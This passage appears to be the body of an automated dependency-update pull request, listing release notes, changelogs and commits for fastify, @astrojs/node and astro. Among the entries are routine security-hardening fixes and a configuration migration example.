href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6592\"\u003efastify/fastify#6592\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.8.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(ecosystem): add \u003ccode\u003e@​yeliex/fastify-problem-details\u003c/code\u003e by \u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;chore: upgrade borp to v1.0.0\u0026quot; by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6564\"\u003efastify/fastify#6564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: document body validation with custom content type parsers by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6556\"\u003efastify/fastify#6556\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(ecosystem): add fastify-file-router by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6441\"\u003efastify/fastify#6441\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-svelte-view to Ecosystem list by \u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: anchor keyValuePairsReg to prevent quadratic backtracking by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6558\"\u003efastify/fastify#6558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: added note on handling of invalid URLs in setNotFoundHandler by \u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(guides): update codemod links by \u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add \u003ccode\u003e@​glidemq/fastify\u003c/code\u003e to community plugins by \u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a3e77ce171516e95f0c28ce60b9e5228a4c42fe4\"\u003e\u003ccode\u003ea3e77ce\u003c/code\u003e\u003c/a\u003e Bumped v5.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/4e1db5bd0012ccf63a49ff105a63e25981b9a747\"\u003e\u003ccode\u003e4e1db5b\u003c/code\u003e\u003c/a\u003e fix: gate host and protocol getters on proxy trust function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a22217f9420f70017a419d8e18b2a3141ab27989\"\u003e\u003ccode\u003ea22217f\u003c/code\u003e\u003c/a\u003e ci(lock-threads): use shared lock-threads workflow (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/1851f208e72be06ca419f2000dea63e540ff1ab0\"\u003e\u003ccode\u003e1851f20\u003c/code\u003e\u003c/a\u003e docs: update links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6593\"\u003e#6593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/9cc5187be2dc7c38fd68d0d43541f16ed6d1e1ad\"\u003e\u003ccode\u003e9cc5187\u003c/code\u003e\u003c/a\u003e types: Allow port to be null in request type definition (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6589\"\u003e#6589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/722d83b0632387b853b218ae3a7da40cc46e2677\"\u003e\u003ccode\u003e722d83b\u003c/code\u003e\u003c/a\u003e docs: replace redirected npm.im http-errors link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6588\"\u003e#6588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a1413de2033b2b00dc1d3563d4f00a7e15ceab2d\"\u003e\u003ccode\u003ea1413de\u003c/code\u003e\u003c/a\u003e docs: fix incorrect code examples in Reply and Request reference (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6582\"\u003e#6582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d7f01b600811172d7f7023bccc5e96583159202b\"\u003e\u003ccode\u003ed7f01b6\u003c/code\u003e\u003c/a\u003e docs: clarify content-type parser/schema mismatch is outside threat model (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6\"\u003e#6\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a0649e92e93c1ad8b164020f61be5d5fa287d506\"\u003e\u003ccode\u003ea0649e9\u003c/code\u003e\u003c/a\u003e docs: update syntax markdown, absolute paths and links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6569\"\u003e#6569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d4779155286ea1d31c24dba1e90d7d478909382b\"\u003e\u003ccode\u003ed477915\u003c/code\u003e\u003c/a\u003e ci(link-checker): fix root-relative links resolution (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6535\"\u003e#6535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v5.6.1...v5.8.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@astrojs/node` from 9.4.4 to 10.0.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/releases\"\u003e\u003ccode\u003e@​astrojs/node\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​astrojs/node\u003c/code\u003e\u003ca href=\"https://github.com/10\"\u003e\u003ccode\u003e@​10\u003c/code\u003e\u003c/a\u003e.0.0\u003c/h2\u003e\n\u003ch3\u003eMajor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15654\"\u003e#15654\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a32aee6eb8bb9ae46caf2249ff56df27db2d4e2a\"\u003e\u003ccode\u003ea32aee6\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/florian-lefebvre\"\u003e\u003ccode\u003e@​florian-lefebvre\u003c/code\u003e\u003c/a\u003e! - Removes the \u003ccode\u003eexperimentalErrorPageHost\u003c/code\u003e option\u003c/p\u003e\n\u003cp\u003eThis option allowed fetching a prerendered error page from a different host than the server is currently running on.\u003c/p\u003e\n\u003cp\u003eHowever, there can be security implications with prefetching from other hosts, and often more customization was required to do this safely. This has now been removed as a built-in option so that you can implement your own secure solution as needed and appropriate for your project via middleware.\u003c/p\u003e\n\u003ch4\u003eWhat should I do?\u003c/h4\u003e\n\u003cp\u003eIf you were previously using this feature, you must remove the option from your adapter configuration as it no longer exists:\u003c/p\u003e\n\u003cpre lang=\"diff\"\u003e\u003ccode\u003e// astro.config.mjs\nimport { defineConfig } from 'astro/config'\nimport node from '@astrojs/node'\n\u003cp\u003eexport default defineConfig({\nadapter: node({\nmode: 'standalone',\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eexperimentalErrorPageHost: 'http://localhost:4321'\n})\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eYou can replicate the previous behavior by checking the response status in a middleware and fetching the prerendered page yourself:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003e// src/middleware.ts\nimport { defineMiddleware } from 'astro:middleware';\n\u003cp\u003eexport const onRequest = defineMiddleware(async (ctx, next) =\u0026gt; {\nconst response = await next();\nif (response.status === 404 || response.status === 500) {\nreturn fetch(\u003ccode\u003ehttp://localhost:4321/${response.status}.html\u003c/code\u003e);\n}\nreturn response;\n});\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15258\"\u003e#15258\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/d339a182b387a7a1b0d5dd0d67a0638aaa2b4262\"\u003e\u003ccode\u003ed339a18\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Stabilizes the adapter feature \u003ccode\u003eexperimentalStatiHeaders\u003c/code\u003e. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:\u003c/p\u003e\n\u003cpre lang=\"diff\"\u003e\u003ccode\u003eexport default defineConfig({\n  adapter: netlify({\n-    experimentalStaticHeaders: true\n+    staticHeaders: true\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/blob/main/packages/integrations/node/CHANGELOG.md\"\u003e\u003ccode\u003e@​astrojs/node\u003c/code\u003e's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.0.0\u003c/h2\u003e\n\u003ch3\u003eMajor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15654\"\u003e#15654\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a32aee6eb8bb9ae46caf2249ff56df27db2d4e2a\"\u003e\u003ccode\u003ea32aee6\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/florian-lefebvre\"\u003e\u003ccode\u003e@​florian-lefebvre\u003c/code\u003e\u003c/a\u003e! - Removes the \u003ccode\u003eexperimentalErrorPageHost\u003c/code\u003e option\u003c/p\u003e\n\u003cp\u003eThis option allowed fetching a prerendered error page from a different host than the server is currently running on.\u003c/p\u003e\n\u003cp\u003eHowever, there can be security implications with prefetching from other hosts, and often more customization was required to do this safely. This has now been removed as a built-in option so that you can implement your own secure solution as needed and appropriate for your project via middleware.\u003c/p\u003e\n\u003ch4\u003eWhat should I do?\u003c/h4\u003e\n\u003cp\u003eIf you were previously using this feature, you must remove the option from your adapter configuration as it no longer exists:\u003c/p\u003e\n\u003cpre lang=\"diff\"\u003e\u003ccode\u003e// astro.config.mjs\nimport { defineConfig } from 'astro/config'\nimport node from '@astrojs/node'\n\u003cp\u003eexport default defineConfig({\nadapter: node({\nmode: 'standalone',\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eexperimentalErrorPageHost: 'http://localhost:4321'\n})\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eYou can replicate the previous behavior by checking the response status in a middleware and fetching the prerendered page yourself:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003e// src/middleware.ts\nimport { defineMiddleware } from 'astro:middleware';\n\u003cp\u003eexport const onRequest = defineMiddleware(async (ctx, next) =\u0026gt; {\nconst response = await next();\nif (response.status === 404 || response.status === 500) {\nreturn fetch(\u003ccode\u003ehttp://localhost:4321/${response.status}.html\u003c/code\u003e);\n}\nreturn response;\n});\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15258\"\u003e#15258\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/d339a182b387a7a1b0d5dd0d67a0638aaa2b4262\"\u003e\u003ccode\u003ed339a18\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Stabilizes the adapter feature \u003ccode\u003eexperimentalStatiHeaders\u003c/code\u003e. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:\u003c/p\u003e\n\u003cpre lang=\"diff\"\u003e\u003ccode\u003eexport default defineConfig({\n  adapter: netlify({\n-    experimentalStaticHeaders: true\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/48e5c4d3518dbd82edff87fa628be9e46c9b21bf\"\u003e\u003ccode\u003e48e5c4d\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15808\"\u003e#15808\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/2ce9e7477e38bca3e13a9b6993125c798377dd50\"\u003e\u003ccode\u003e2ce9e74\u003c/code\u003e\u003c/a\u003e chore: update docs links (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15732\"\u003e#15732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/25560db01f1df5ffa51afd34cc94eaf3f8ec865f\"\u003e\u003ccode\u003e25560db\u003c/code\u003e\u003c/a\u003e [ci] release (beta) (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15773\"\u003e#15773\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/39ff2a565614250acae83d35bf196e0463857d9e\"\u003e\u003ccode\u003e39ff2a5\u003c/code\u003e\u003c/a\u003e Harden Node adapter HTTP server defaults and request body handling (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15759\"\u003e#15759\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/6414732a12a4dff3da224dfda56f0e26db0c98c4\"\u003e\u003ccode\u003e6414732\u003c/code\u003e\u003c/a\u003e Spelling (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15601\"\u003e#15601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/1567e8cc9153f4e8089b2d942ffb73c14cca8031\"\u003e\u003ccode\u003e1567e8c\u003c/code\u003e\u003c/a\u003e Normalize static file paths before evaluating dotfile access rules (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15763\"\u003e#15763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/02e24d952de29c1c633744e7408215bedeb4d436\"\u003e\u003ccode\u003e02e24d9\u003c/code\u003e\u003c/a\u003e Harden origin check port handling for consistency (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15777\"\u003e#15777\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/9b0def6ea1b20460874481cf8ccb575b6508636d\"\u003e\u003ccode\u003e9b0def6\u003c/code\u003e\u003c/a\u003e [ci] release (beta) (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15758\"\u003e#15758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/3885e8da45efccf735518a26f9ef23b7267d1c0f\"\u003e\u003ccode\u003e3885e8d\u003c/code\u003e\u003c/a\u003e [ci] release (beta) (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15687\"\u003e#15687\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/20b05c042bde561f53d47348fd4cb2ec478bca23\"\u003e\u003ccode\u003e20b05c0\u003c/code\u003e\u003c/a\u003e fix(node): harden static file handler path resolution (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/integrations/node/issues/15745\"\u003e#15745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/withastro/astro/commits/@astrojs/node@10.0.0/packages/integrations/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for \u003ccode\u003e@​astrojs/node\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `astro` from 5.13.10 to 5.18.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/releases\"\u003eastro's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eastro@5.18.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/c2cd371f9f2003ab8c9ce70a24fc0af40c5de531\"\u003e\u003ccode\u003ec2cd371\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/internal-helpers\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.7.6\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/markdown-remark\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.11\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/blob/astro@5.18.1/packages/astro/CHANGELOG.md\"\u003eastro's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.18.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/c2cd371f9f2003ab8c9ce70a24fc0af40c5de531\"\u003e\u003ccode\u003ec2cd371\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/internal-helpers\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.7.6\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/markdown-remark\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.3.11\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.18.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15589\"\u003e#15589\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/b7dd447e319a7b435c01ccd69347e5261bd9dc14\"\u003e\u003ccode\u003eb7dd447\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/qzio\"\u003e\u003ccode\u003e@​qzio\u003c/code\u003e\u003c/a\u003e! - Adds a new \u003ccode\u003esecurity.actionBodySizeLimit\u003c/code\u003e option to configure the maximum size of Astro Actions request bodies.\u003c/p\u003e\n\u003cp\u003eThis lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.\u003c/p\u003e\n\u003cp\u003eIf you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// astro.config.mjs\nexport default defineConfig({\n  security: {\n    actionBodySizeLimit: 10 * 1024 * 1024, // set to 10 MB\n  },\n});\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15594\"\u003e#15594\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/efae11cef1ebe1f2f54ceb55db0d1ff1938351c6\"\u003e\u003ccode\u003eefae11c\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/qzio\"\u003e\u003ccode\u003e@​qzio\u003c/code\u003e\u003c/a\u003e! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.17.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15564\"\u003e#15564\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/522f880b07a4ea7d69a19b5507fb53a5ed6c87f8\"\u003e\u003ccode\u003e522f880\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Add a default body size limit for server actions to prevent oversized requests from exhausting memory.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15569\"\u003e#15569\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9\"\u003e\u003ccode\u003ee01e98b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Respect image allowlists when inferring remote image sizes and reject remote redirects.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.17.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/c13b536197a70d8d4fd0037c5bd3aaa2be0598b9\"\u003e\u003ccode\u003ec13b536\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Improves Host header handling for SSR deployments behind proxies\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.17.1\u003c/h2\u003e\n\u003ch3\u003ePatch 